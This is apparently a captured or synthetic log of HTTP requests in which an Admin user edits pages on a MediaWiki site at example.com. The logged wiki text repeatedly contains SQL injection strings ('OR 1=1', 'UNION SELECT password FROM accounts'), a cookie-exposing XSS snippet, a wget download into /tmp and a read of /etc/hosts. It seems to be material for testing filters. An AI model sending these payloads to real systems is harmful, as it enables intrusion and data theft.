"action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&text=%3D%3D+Install+%3D%3D%0ARun+powershell+and+ls+-la.%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 300", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+powershell&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=8&stashedtexthash=fb470cff5af43ff707bead07ac360a6cef4a06d9&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary51DczGwGUeO3iv04", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n8\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun powershell and ls -la.\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ powershell\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundary51DczGwGUeO3iv04\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundary51DczGwGUeO3iv04--\r\n"}
{"method": "GET", "target": "/index.php?title=Powershell_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=powershell&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=Powershell+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+powershell.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2Fpowershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=po&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1670", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 317", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3217", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvdrTidZqfABYUKj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on ls -la, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n71840703f816e931d4dcc6d77061a3d66af2267d+\\\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryAvdrTidZqfABYUKj--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1720", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Ls_-la_notes&section=&sectiontitle=&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=71840703f816e931d4dcc6d77061a3d66af2267d%2B%5C"}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3325", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhJslavTCvR7BPWnI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794254459%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200101\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryhJslavTCvR7BPWnI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule 